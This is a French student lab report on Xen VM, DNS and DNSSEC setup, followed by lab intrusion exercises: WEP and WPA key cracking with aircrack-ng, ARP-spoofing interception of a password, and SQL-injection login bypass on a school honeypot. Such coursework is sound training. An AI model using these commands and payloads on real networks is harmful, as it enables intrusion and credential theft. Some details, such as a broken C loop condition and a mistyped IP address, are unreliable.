 kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
 extra       = 'elevator=noop'&lt;br /&gt;
 ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
 &lt;br /&gt;
 vcpus       = '1'&lt;br /&gt;
 memory      = '1024'&lt;br /&gt;
 &lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
               ]&lt;br /&gt;
 &lt;br /&gt;
 name        = 'hawker'&lt;br /&gt;
 &lt;br /&gt;
 '''vif         = [ 'mac=00:16:3E:A4:65:07, bridge=IMA2a5' ]'''&lt;br /&gt;
 &lt;br /&gt;
 on_poweroff = 'destroy'&lt;br /&gt;
 on_reboot   = 'restart'&lt;br /&gt;
 on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
J'accède à ma machine virtuelle&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
  xl console hawker&lt;br /&gt;
&lt;br /&gt;
Je crée deux répertoires var et home qui seront sur des partitions LVM de l'hôte&lt;br /&gt;
  lvcreate -L10G -n hawker-var virtual&lt;br /&gt;
  lvcreate -L10G -n hawker-home virtual&lt;br /&gt;
&lt;br /&gt;
Je pointe le système de fichier sur les deux nouvelles partitions &lt;br /&gt;
  mke2fs /dev/virtual/hawker-home&lt;br /&gt;
  mke2fs /dev/virtual/hawker-var&lt;br /&gt;
&lt;br /&gt;
Les disques sont finalisés, je les connecte à la VM en modifiant le fichier de configuration hawker.cfg.&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/disk.img,xvda2,w',&lt;br /&gt;
                   'file:/usr/local/xen/domains/hawker/swap.img,xvda1,w',&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-home,xvdb1,w','''&lt;br /&gt;
                   ''''phy:/dev/virtual/hawker-var,xvdb2,w','''&lt;br /&gt;
               ]&lt;br /&gt;
&lt;br /&gt;
Puis je redémarre la VM pour prendre en compte les modifications&lt;br /&gt;
  xl shutdown hawker&lt;br /&gt;
  xl create /etc/xen/hawker.cfg&lt;br /&gt;
&lt;br /&gt;
A travers le fichier /etc/fstab, je dois modifier la configuration pour forcer le montage à chaque démarrage. &lt;br /&gt;
  /dev/xvdb1     /home ext4  defaults   0   2     //0 sauvegarde et 2 place&lt;br /&gt;
  #/dev/xvdb2    /var  ext4  defaults   0   2&lt;br /&gt;
A travers c’est deux commandes, j’assure la montée des 2 disques /home et /var à chaque démarrage. Juste avant cette étape pour /var, que je laisse en commentaire, j’ai du assurer le systèmes de fichiers. Il faut bien faire attention, une mauvaise manipulation peut détruire la machine.&lt;br /&gt;
  mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
  mount /dev/xvdb2 /mnt&lt;br /&gt;
  mv /var/* /mnt&lt;br /&gt;
  blkid       //Trouver ou afficher les attributs de périphérique bloc&lt;br /&gt;
    /dev/xvda2: UUID=&amp;quot;efa11821-8780-4938-9473-5d217752316e&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvda1: UUID=&amp;quot;1a3161b3-a90d-4da5-a224-cfc496e70c89&amp;quot; TYPE=&amp;quot;swap&amp;quot;&lt;br /&gt;
    /dev/xvdb1: UUID=&amp;quot;5645526d-2cf4-42b5-a4a7-94fdda100ca1&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
    /dev/xvdb2: UUID=&amp;quot;5b49ce5f-8116-4c41-aa25-97536f644803&amp;quot; TYPE=&amp;quot;ext4&amp;quot;&lt;br /&gt;
  vi /etc/fstab&lt;br /&gt;
Par la suite, je peux décommenter la ligne et exécuter :&lt;br /&gt;
  umount /mnt    &lt;br /&gt;
  mount -a&lt;br /&gt;
Je vérifie que les disques sont bien montés via la commande db &lt;br /&gt;
  Filesystem     1K-blocks     Used   Available   Use%   Mounted on&lt;br /&gt;
  udev              483904        0      483904     0%   /dev&lt;br /&gt;
  tmpfs             100712      120      100592     1%   /run&lt;br /&gt;
  /dev/xvda2       4062912   791352     3045464    21%   /&lt;br /&gt;
  tmpfs               5120        0        5120     0%   /run/lock&lt;br /&gt;
  tmpfs             306280        0      306280     0%   /dev/shm&lt;br /&gt;
  '''/dev/xvdb1      10255636    36872     9678092     1%   /home'''&lt;br /&gt;
  '''/dev/xvdb2      10255636   315536     9399428     4%   /var'''&lt;br /&gt;
&lt;br /&gt;
On peut vérifier que la VM est prête&lt;br /&gt;
  xl list&lt;br /&gt;
    Name          ID    Mem   VCPUs    State	Time(s)&lt;br /&gt;
    Domain-0      0    4046     4      r-----    6978.3&lt;br /&gt;
    boeing        1     256     1      -b----     185.5&lt;br /&gt;
    NightHawk     3    1024     1      -b----     826.8&lt;br /&gt;
    '''hawker        4    1024     1      -b----     776.9'''&lt;br /&gt;
    blackbird     5     256     1      -b----     640.4&lt;br /&gt;
    Falcon        6     256     1      -b----     691.7&lt;br /&gt;
    rafale        8     256     1      -b----     606.0&lt;br /&gt;
    mirage        12   1024     1      -b----     668.6&lt;br /&gt;
    alpha-jet     13    256     1      -b----     591.4&lt;br /&gt;
    concorde      19   1024     1      -b----     148.5&lt;br /&gt;
    oronge        20    256     1      -b----     536.2&lt;br /&gt;
On peut voir que l’état du domaine est r, cela stipule qu’il fonctionne. &lt;br /&gt;
Les VM ont un état -b, ce qui valide le fait qu’elles fonctionnent toutes. Au delà des IMA2A5, on voit aussi une des IMA5sc.&lt;br /&gt;
&lt;br /&gt;
== Services Internet ==&lt;br /&gt;
&lt;br /&gt;
=== Configuration du réseau ===&lt;br /&gt;
&lt;br /&gt;
Dès que ma machine virtuelle est prête, je passe en root dessus. Pour permettre l'accès à internet, je configure le réseau /etc/networks/interfaces&lt;br /&gt;
   auto eth0&lt;br /&gt;
   iface eth0 inet static&lt;br /&gt;
     address 193.48.57.171 &lt;br /&gt;
     netmask 255.255.255.240&lt;br /&gt;
     gateway 193.48.57.163&lt;br /&gt;
&lt;br /&gt;
Je configure alors les interfaces réseau grâce aux définitions du fichier au dessus&lt;br /&gt;
   ifdown eth0&lt;br /&gt;
   ifup eth0&lt;br /&gt;
&lt;br /&gt;
Je vérifie que le processus s'est bien déroulé&lt;br /&gt;
   ip r&lt;br /&gt;
     default via 193.48.57.163 dev eth0 onlink &lt;br /&gt;
     193.48.57.160/28 dev eth0 proto kernel scope link src 193.48.57.171 &lt;br /&gt;
  ping 193.48.57.162 (Adresse IP 3560E)&lt;br /&gt;
&lt;br /&gt;
=== Serveur SSH ===&lt;br /&gt;
Je fais en sorte que ma MV soit accessible à distance, je configure un serveur ssh. Je modifie alors le fichier de configuration /etc/ssh/ssh_config en modifiant cette ligne :&lt;br /&gt;
  vi /etc/ssh/sshd_config&lt;br /&gt;
     PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
  service ssh restart&lt;br /&gt;
Je n'ai alors plus besoin de passer par la commande xl console pour accéder à ma VM, j'utilise directement le ssh.&lt;br /&gt;
  ssh root@193.48.57.171&lt;br /&gt;
&lt;br /&gt;
=== Serveur DNS ===&lt;br /&gt;
&lt;br /&gt;
Le DNS (Domain Name System) permet d'établir la correspondance entre le nom de domaine d'un site et l'adresse IP où il est hébergé sur le réseau internet. Pour accéder à mon site, je n’aurais plus besoin d’indiquer mon adresse IP mais le nom du site choisi.&lt;br /&gt;
&lt;br /&gt;
Il faut que je configure mon domaine sur gandi.net et en étant root sur ma machine virtuelle hawker.&lt;br /&gt;
&lt;br /&gt;
Je commence donc par acheter un nom de domaine sur le site gandi.net : lulya.space. Je passe par « glue records » utilisé pour associer un hostname (nom de serveur ou DNS) à une adresse IP au registre. &lt;br /&gt;
    ns.lulya.space&lt;br /&gt;
    193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Les serveurs de noms permettent d'accéder à un réseau ou du contenu sur internet depuis un nom de domaine.&lt;br /&gt;
    ns.lulya.space      1&lt;br /&gt;
    ns6.gandi.net       2&lt;br /&gt;
Pour le prise en compte ces modifications, on attend de 12 à 24h. &lt;br /&gt;
&lt;br /&gt;
Pour gérer mon serveur DNS, j’utilise la commande bind9 et passe par une configuration en ajoutant et modifiant plusieurs fichiers dans etc/bind.&lt;br /&gt;
Le fichier named.conf.options qui gère les options de configuration du DNS : &lt;br /&gt;
   options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
        listen-on-v6 { any; };&lt;br /&gt;
        allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
   };&lt;br /&gt;
   acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
        217.70.177.40/32; //Adresse IP de dns6.gandi.net&lt;br /&gt;
   };&lt;br /&gt;
&lt;br /&gt;
Puis le fichier named.conf.local pour déclarer les zones associées au domaine:&lt;br /&gt;
   zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
      type master;&lt;br /&gt;
      file &amp;quot;/etc/bind/db.lulya.space&amp;quot;;&lt;br /&gt;
    };&lt;br /&gt;
&lt;br /&gt;
Enfin, le fichier de configuration /etc/bind/db.lulya.space :&lt;br /&gt;
   $TTL 3600&lt;br /&gt;
   @ IN SOA ns.lulya.space. postmaster.lulya.space. (&lt;br /&gt;
         1               ; Version&lt;br /&gt;
         1800             ; Refresh (30m)&lt;br /&gt;
         600             ; Retry   (10m)&lt;br /&gt;
         3600             ; Expire (1h)&lt;br /&gt;
         3600 )           ; Minimum TTL (1h)&lt;br /&gt;
   @ IN NS ns.lulya.space.&lt;br /&gt;
   @ IN NS ns6.gandi.net.&lt;br /&gt;
   ns      IN A       192.48.57.171&lt;br /&gt;
&lt;br /&gt;
J’attends quelques minutes puis relance bind9. Mon site http://www.lulya.space est accessible, je peux alors le visualiser en tapant l’adresse sur internet.&lt;br /&gt;
&lt;br /&gt;
Lorsque le DNS est fini d’être configuré, je peux le tester en lançant ping -6 google.fr, je peux voir que cela fonctionne, je considère mon DNS bien configuré.&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de site web par certificat ===&lt;br /&gt;
&lt;br /&gt;
Je dois passer par une méthode de vérification sur le serveur Web cible. Il existe, je crois, 3 méthodes, j'ai choisi par mail.&lt;br /&gt;
&lt;br /&gt;
Je modifie mon fichier db.lulya.space&lt;br /&gt;
  Version : 2&lt;br /&gt;
  IN MX 100 ns&lt;br /&gt;
  www  IN A  193.48.57.171&lt;br /&gt;
&lt;br /&gt;
Je relance le service bind9 et installe le serveur de messagerie PostFix. En lançant la commande mailx, je peux alors vérifier que j'ai bien reçu un mail et l'achat du certificat se finalise. &lt;br /&gt;
&lt;br /&gt;
Gandi fournit une clé hawker.pem et un certificat hawker.crt, je génère une clé : lulya.csr en utilisant l'utilitaire OpenSSL dans le dossier /etc/apache2/certificat&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout lulya.key -out lulya.csr&lt;br /&gt;
&lt;br /&gt;
J'achète un certificat sur Gandi en passant par la rubrique Cerificat SSL. Je partage ma clé.csr avec Gandi, il étudie la validité de mon domaine lulya.space, puis choisi ou non de le certifier. &lt;br /&gt;
&lt;br /&gt;
En recontrant un problème, j'ai utilisé une commande servant d'outil de dépannage&lt;br /&gt;
  apt install strace&lt;br /&gt;
  strace -f -o open newaliases&lt;br /&gt;
  strace -f  newaliases&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de serveur DNS par DNSSEC ===&lt;br /&gt;
&lt;br /&gt;
Au delà de mon site sécurisé, je veux avoir toute la chaine de transmission, ce qui évitera la fraude. Je sécurise mon serveur DNS en signant la zone correspondant à mon nom de domaine.&lt;br /&gt;
Je débute par l'ajout de l'option dnssec-enable yes dans named.conf.options.&lt;br /&gt;
&lt;br /&gt;
Ensuite, je crée un répertoire lulya.space.dnssec pour y générer des paires de cléfs.&lt;br /&gt;
La clé asymétrique de signature de clefs de zone&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE lulya.space&lt;br /&gt;
La clé asymétrique de zone pour les enregistrements&lt;br /&gt;
  dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE lulya.space&lt;br /&gt;
&lt;br /&gt;
Je renomme les deux paires de clés obtenues en utilisant le nom de la zone comme préfixe et en suffixe : &lt;br /&gt;
&lt;br /&gt;
- la destination de la clef : ksk pour la clef KSK et zks pour la clef ZSK &lt;br /&gt;
&lt;br /&gt;
- puis par le type de clef : .key pour la clef publique ou .private pour la clef privée&lt;br /&gt;
  mv Klulya.space.+005+11461.key              lulya.space-ksk.key&lt;br /&gt;
  mv Klulya.space.+005+11461.private      lulya.space-ksk.private&lt;br /&gt;
  mv Klulya.space.+005+27882.key              lulya.space-zsk.key&lt;br /&gt;
  mv Klulya.space.+005+27882.private      lulya.space-zsk.private&lt;br /&gt;
Pour finir, je les place dans un dossier crée /etc/bind/lulya.space.dnssec&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'inclue les clefs publiques dans mon fichier db.lulya.space&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-ksk.key&lt;br /&gt;
  $include /etc/bind/lulya.space.dnssec/lulya.space-zsk.key&lt;br /&gt;
&lt;br /&gt;
Je signe les enregistrements&lt;br /&gt;
  dnssec-signzone -o lulya.space -k lulya.space-ksk  ../db.lulya.space lulya.space-zsk&lt;br /&gt;
&lt;br /&gt;
Je modifie le fichier named.conf.local pour utiliser db.lulya.space.signed&lt;br /&gt;
  zone &amp;quot;lulya.space&amp;quot; {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.lulya.space.signed&amp;quot;;&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Après avoir finalisé tous les paramètres de mon site www.lulya.space, je vérifie sa configuration sur le site dnsvize.net&lt;br /&gt;
On peut voir que tout est bien en place de mon côté. Par contre, il existe un défaut du côté du .space détenu par mon nom de domaine.&lt;br /&gt;
&lt;br /&gt;
      [[Fichier:DNS Léna.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests d'intrusion ==&lt;br /&gt;
&lt;br /&gt;
=== Cassage de clef WEP d’un point d’accès WiFi ===&lt;br /&gt;
&lt;br /&gt;
On branche d’abord une clef wifi et je commence à installer le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
Je dois trouver le point d’accès : canal et nom des réseaux.&lt;br /&gt;
&lt;br /&gt;
Via airmon-ng, un script permettant d’activer ou de désactiver le mode moniteur d’une carte réseau. &lt;br /&gt;
&lt;br /&gt;
Dans notre cas, la carte Wi-fi se place en observateur du réseau.&lt;br /&gt;
&lt;br /&gt;
Je liste les interfaces disponibles :&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	  Driver	Chipset&lt;br /&gt;
    phy0  wlx40a5efd2140c rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Puis, je passe la carte Wifi wlx40a5efd2140c en mode moniteur, espion du réseau sans fil.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth09:~# airmon-ng start wlx40a5efd2140c&lt;br /&gt;
  Interface wlx40a5efd2140cmon is too long for linux so it will be renamed to the old style (wlan#) name.&lt;br /&gt;
        (mac80211 monitor mode vif enabled on [phy0]wlan0mon&lt;br /&gt;
        (mac80211 station mode vif disabled for [phy0]wlx40a5efd2140c)&lt;br /&gt;
&lt;br /&gt;
Le nom de l'interface a été modifié, considéré trop long et wlan0mon a été choisi.&lt;br /&gt;
&lt;br /&gt;
En relançant airmon-ng, on peut voir que le nom de l’interface a bien été changé&lt;br /&gt;
  root@zabeth09:~# airmon-ng&lt;br /&gt;
    PHY	  Interface	Driver		Chipset&lt;br /&gt;
    phy0    wlan0mon	rt2800usb	Ralink Technology, Corp. RT5370&lt;br /&gt;
&lt;br /&gt;
Je scanne le réseau Wifi, j’obtiens toutes les trames Wifi sur tous les canaux &lt;br /&gt;
  root@zabeth09:~# airmon-ng –encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Le terminal essaye d'obtenir tous les channels et beaucoup d'informations s'affichent. &lt;br /&gt;
&lt;br /&gt;
Je visualise cracotte07 dans la liste pour ses informations.&lt;br /&gt;
  root@zabeth09:~# airodump-ng --channel 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
Tous les cracotte sont limitées au channel 9 et le SSID de cracotte07 est 04:DA:D2:9C:50:56&lt;br /&gt;
&lt;br /&gt;
Je récupère toutes les données qui transitent sur ce channel en me concentrant uniquement sur les paquets échangés avec cracotte07.&lt;br /&gt;
  airodump-ng -w lcrack -c 9 --bssid 04:DA:D2:9C:50:56 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir suffisamment de trames volées, je lance un autre terminal pour décrypter la clé WEP&lt;br /&gt;
  root@zabeth09:~# aircrack-ng lcrack-01.cap&lt;br /&gt;
  Opening lcrack-01.capse wait…&lt;br /&gt;
&lt;br /&gt;
Il faut attendre plusieurs minutes et on obtient la clé, on peut voir qu’il en a testé 833 avant.&lt;br /&gt;
&lt;br /&gt;
                              Aircrack-ng 1.5.2 &lt;br /&gt;
                 [00:00:00] Tested 833 keys (got 73079 IVs)&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 17   F1(93696) BD(84480) E7(84224) 6F(83456) 12(82176) &lt;br /&gt;
    1    0/  1   91(103680) 34(83968) 54(83456) B3(83456) B9(82432) &lt;br /&gt;
    2    2/  2   60(83200) 3A(82688) 7E(82176) 12(81920) 0E(81664) &lt;br /&gt;
    3   15/  3   B1(79872) 06(79616) 11(79616) 5B(79360) B2(79104) &lt;br /&gt;
    4    0/  1   74(103168) 8D(85248) 03(82176) 7A(82176) 21(81664) &lt;br /&gt;
             KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] &lt;br /&gt;
    Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
=== Cassage de mot de passe WPA-PSK par force brute === &lt;br /&gt;
En utilisant la même méthode, on peut craquer une autre clef WPA.&lt;br /&gt;
  root@zabeth09:~# airodump-ng -w lkrack -c 4 --bssid 00:14:1B:60:8C:26 wlan0mon&lt;br /&gt;
    -rw-r--r-- 1 root root  88K Nov  4 17:11 lkrack-03.cap&lt;br /&gt;
&lt;br /&gt;
Le craquage doit se faire avec l’aide d’un dictionnaire. On suppose que la clef WPA est un nombre sur 8 chiffres, je vais donc créer un dictionnaire de ce format via un code en langage c.&lt;br /&gt;
&lt;br /&gt;
  int main(void){&lt;br /&gt;
        int x;&lt;br /&gt;
        for(x=0; x=99999999; x++){&lt;br /&gt;
            printf(&amp;quot;%08d\n&amp;quot;,x);&lt;br /&gt;
        }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
Je compile main.c, ça consiste en une série d'étapes de transformation du code source en du code machine exécutable. La série de nombres doit se retrouver alors dans mon fichier cible dico. &lt;br /&gt;
  root@zabeth09:~# gcc -Wall -o dico main.c&lt;br /&gt;
&lt;br /&gt;
Je vérifie que cette commande s'est bien déroulée, en vérifiant le début et la fin du fichier dico.&lt;br /&gt;
  root@zabeth09:~# ./dico | more&lt;br /&gt;
    00000000&lt;br /&gt;
    00000001&lt;br /&gt;
    00000002&lt;br /&gt;
    00000003&lt;br /&gt;
    00000004&lt;br /&gt;
  root@zabeth09:~# ./dico | tail&lt;br /&gt;
    99999995&lt;br /&gt;
    99999996&lt;br /&gt;
    99999997&lt;br /&gt;
    99999998&lt;br /&gt;
    99999999&lt;br /&gt;
&lt;br /&gt;
Je finis par les transférer dans un fichier .txt et l'envoie à d'autres PC&lt;br /&gt;
  root@zabeth09:~# ./dico &amp;gt; dico.txt&lt;br /&gt;
  root@zabeth09:~# scp dico.txt zabethxx&lt;br /&gt;
&lt;br /&gt;
Je choisis de lancer le traitement sur 2 PC plus puissant, normalement 5 fois plus, zabeth22 et zabeth26, que mon PC zabeth09. &lt;br /&gt;
Je commence à exécuter le traitement sur le fichier que je viens de créer dico.txt comportant tous les nombres de 0 à 9999 9999.&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/&lt;br /&gt;
  root@zabeth22:~# aircrack-ng -w /tmp/dico.txt /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
En remarquant le temps que cela va prendre, je décide de couper ce fichier en 2 et de lancer un autre traitement mais seulement sur les nombres à partir de 4999 9999. L'exécution est censée prendre 2 fois moins de temps que celle sur zabeth22.&lt;br /&gt;
  root@zabeth09:~# split -n 2 dico.txt&lt;br /&gt;
J’obtiens alors 2 fichiers xaa et xab, comportant les 2 moitiés de dico&lt;br /&gt;
  root@zabeth09:~# ls -lhrt &lt;br /&gt;
  -rw-r--r-- 1 root root  101 Nov  4 17:09 main.c&lt;br /&gt;
  -rwxr-xr-x 1 root root  17K Nov  4 17:09 dico&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xaa&lt;br /&gt;
  -rw-r--r-- 1 root root 430M Nov  4 17:15 xab&lt;br /&gt;
En tapant la commande tail, je vérifie que celui que je veux est bien xab&lt;br /&gt;
&lt;br /&gt;
Puis je passe sur zabeth26 et je passe au même procédé que sur zabeth22&lt;br /&gt;
  root@zabeth26:~# aircrack-ng -w /tmp/xab /tmp/lkrack-03.cap  &amp;gt; /tmp/result&lt;br /&gt;
&lt;br /&gt;
Pour finir, je fais en sorte de voir en direct les deux calculs de correction de clé (défilement des nombres)&lt;br /&gt;
  root@zabeth22:~# cat /tmp/result &lt;br /&gt;
    Aircrack-ng 1.5.2 &lt;br /&gt;
      [00:09:13] 10260165/102795810 keys tested (3427.05 k/s) &lt;br /&gt;
      Time left: 7 hours, 30 minutes, 1 second      9.98%&lt;br /&gt;
                           KEY FOUND! [ 10255555 ]&lt;br /&gt;
&lt;br /&gt;
La clé se trouvait dans les 1er 10 % de dico. On peut voir qu'on obtient 8 chiffres, un seul correspond à la clé.&lt;br /&gt;
On peut lire le temps qu’il lui restait pour tout analyser, ça confirme que c’était une bonne idée de lancer le second traitement.&lt;br /&gt;
Il est logique que celui-ci nous donne aucune clé en réponse.&lt;br /&gt;
&lt;br /&gt;
  root@zabeth26:~# cat /tmp/result &lt;br /&gt;
   [00:46:05] 50000000/51397904 keys tested (3498.19 k/s) &lt;br /&gt;
      Time left: 0 seconds              97.28%&lt;br /&gt;
                          KEY NOT FOUND&lt;br /&gt;
Anecdote, le traitement est considéré terminé au vu du temps qu'il ne reste pas, mais il est tout de même écrit 97.28% d'analyse effectuée. Il existe souvent des petites erreurs de suivis des ordinateurs, mais non critiques.&lt;br /&gt;
&lt;br /&gt;
=== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ===&lt;br /&gt;
&lt;br /&gt;
J'ai besoin du paquetage dsniff qui contient plusieurs outils pour écouter ou créer du trafic réseau :&lt;br /&gt;
&lt;br /&gt;
- arpspoof : envoie des réponses ARP non requises et potentiellement falsifiées&lt;br /&gt;
&lt;br /&gt;
- dnsspoof : crée des réponses à des requêtes d'adresse ou de pointeur DNS arbitraires sur le réseau local&lt;br /&gt;
&lt;br /&gt;
- dsniff : écoute de mots de passe pour différents protocoles&lt;br /&gt;
&lt;br /&gt;
Je vérifie d’abord que dorade est bien configuré au niveau du réseau.&lt;br /&gt;
  root@dorade:/home/pifou# cat /etc/network/interfaces&lt;br /&gt;
    # This is an autoconfigured IPv6 interface&lt;br /&gt;
    iface eth0 inet static&lt;br /&gt;
        address 172.26.145.101&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Je récupère son interface ethernet, la commande liste toutes les interfaces avec les informations nécessaires&lt;br /&gt;
  root@dorade:/home/pifou# ip a&lt;br /&gt;
    1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1&lt;br /&gt;
    2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
&lt;br /&gt;
Une commande permet de voir la table de routage.&lt;br /&gt;
  root@dorade:/home/pifou# ip r&lt;br /&gt;
    default via 172.26.145.254 dev eth0 onlink &lt;br /&gt;
    169.254.0.0/16 dev eth0 scope link metric 1000 &lt;br /&gt;
    172.26.145.0/24 dev eth0 proto kernel scope link src 172.26.145.101 &lt;br /&gt;
&lt;br /&gt;
Je vérifie qu’il est bien relié au réseau en pingant zabeth09.&lt;br /&gt;
  root@dorade:/home/pifou# ping zabeth09&lt;br /&gt;
    PING zabeth09(2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9)) 56 data bytes&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=1 ttl=64 time=0.914 ms&lt;br /&gt;
    64 bytes from 2001:660:4401:6050:5000::9 (2001:660:4401:6050:5000::9): icmp_seq=2 ttl=64 time=0.813 ms&lt;br /&gt;
    --- zabeth09 ping statistics ---&lt;br /&gt;
    2 packets transmitted, 2 received, 0% packet loss, time 1001ms&lt;br /&gt;
    rtt min/avg/max/mdev = 0.813/0.863/0.914/0.058 ms&lt;br /&gt;
&lt;br /&gt;
En vérifiant toutes ces informations, je valide le fait qu’il est bien configuré au réseau et peut communiquer avec tous les équipements dont zabeth09.&lt;br /&gt;
&lt;br /&gt;
Je transforme dorade en routeur, ce mode est géré par la variable noyau /proc/sys/net/ipv4/ip_forward.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 0 : l'IP Forwarding n'est pas activé.&lt;br /&gt;
&lt;br /&gt;
- La commande retourne la valeur 1 : l'IP Forwarding est activé.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      0 &lt;br /&gt;
Dorade n’est pas en mode routeur, je passe alors le noyau à 1&lt;br /&gt;
  root@dorade:/home/pifou# echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward &lt;br /&gt;
&lt;br /&gt;
J'utilise la commande arpsppof, en prenant les informations collectées au début.&lt;br /&gt;
Dorade via eth0, son interface ethernet, envoie des réponses ARP non requises à zabeth09 en passant par le gateway, qui examine la légitimité de sa demande qui en réalité ne l'est pas.&lt;br /&gt;
  root@dorade:/home/pifou# arpspoof -i eth0 -t zabeth09 172.26.145.254&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
    5c:b9:1:80:a7:1 0:15:17:6f:94:5c 0806 42: arp reply 172.26.145.254 is-at 5c:b9:1:80:a7:1&lt;br /&gt;
&lt;br /&gt;
Lors de cette étape toujours en cours, je lance un second terminal.&lt;br /&gt;
Je vérifie que dorade est bien routeur et installe wireshark, il permet d'analyser les paquets, le réseau et les protocoles.&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/ip_forward      1&lt;br /&gt;
  root@dorade:/home/pifou# cat /proc/sys/net/ipv4/conf/all/rp_filter      0&lt;br /&gt;
  root@dorade:/home/pifou# wireshark&lt;br /&gt;
      [[Fichier:Mdp zabeth09.png|800px|thumb|left|Interface eth0]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
On voit tous les protocoles de transfert dont celui qui m'a permis de récupérer des informations confidentielles, ici le nom d'utilisateur : pifou et le mot de passe : pasglop.&lt;br /&gt;
On peut aussi savoir que je l'ai récupéré par un site de Polytech : http://applications.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
=== Intrusion sur un serveur d’application Web ===&lt;br /&gt;
&lt;br /&gt;
Je veux m'introduire sur un site de Polytech honey.plil.info.&lt;br /&gt;
Je commence par trouver une requête SQL qui vérifiera la validité de la connexion pour la page d'identification de ce site.&lt;br /&gt;
  SELECT id FROM users WHERE id='$id' AND pass='$pass';&lt;br /&gt;
Puis je dois trouver ce que doit contenir $pass pour que cette requête récupère en fait toutes les lignes de la table utilisateurs.&lt;br /&gt;
Le true n'existe pas en SQL, je vais alors en simuler un : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
Pour accéder au site, qui me demande un identifiant et un mot de passe, je procède de cette façon : Nom d'utilisateur : N'importe et mot de passe : ' OR ''='&lt;br /&gt;
&lt;br /&gt;
J'accède au site qui m'affiche la liste des utilisateurs et leur mot de passe&lt;br /&gt;
[[Fichier:Honey_Léna.png|380px|thumb|left|Listes des utilisateurs]]&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot; \&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Réalisation ==&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation de données ===  &lt;br /&gt;
&lt;br /&gt;
Pour sécuriser mes données, je passe par une redondance matérielle comme le fait déjà Polytech. On évite de tout perdre s'il y a un problème.&lt;br /&gt;
&lt;br /&gt;
